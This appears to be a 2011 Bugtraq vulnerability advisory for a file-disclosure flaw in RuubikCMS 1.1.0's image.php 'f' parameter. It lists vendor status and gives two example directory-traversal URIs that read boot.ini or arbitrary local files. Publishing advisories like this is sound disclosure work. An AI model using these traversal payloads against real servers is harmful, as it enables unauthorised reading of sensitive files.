RuubikCMS 'f' Parameter Information Disclosure Vulnerability

Bugtraq ID:	50165
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 17 2011 12:00AM
Updated:	Oct 17 2011 12:00AM
Credit:	Sangyun YOO
Vulnerable:	RuubikCMS RuubikCMS 1.1.0
Not Vulnerable:

RuubikCMS 'f' Parameter Information Disclosure Vulnerability

RuubikCMS is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attacker can exploit this issue to download local files in the context of the webserver process. This may allow the attacker to obtain sensitive information; other attacks are also possible.

RuubikCMS 1.1.0 is vulnerable; other versions may also be affected.

RuubikCMS 'f' Parameter Information Disclosure Vulnerability

An attacker can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/extra/image.php?f=../../../../../../../../boot.ini
http://www.example.com/extra/image.php?f=../../../../../../../../[localfile]

RuubikCMS 'f' Parameter Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

RuubikCMS 'f' Parameter Information Disclosure Vulnerability

References:

• RuubikCMS Homepage (RuubikCMS)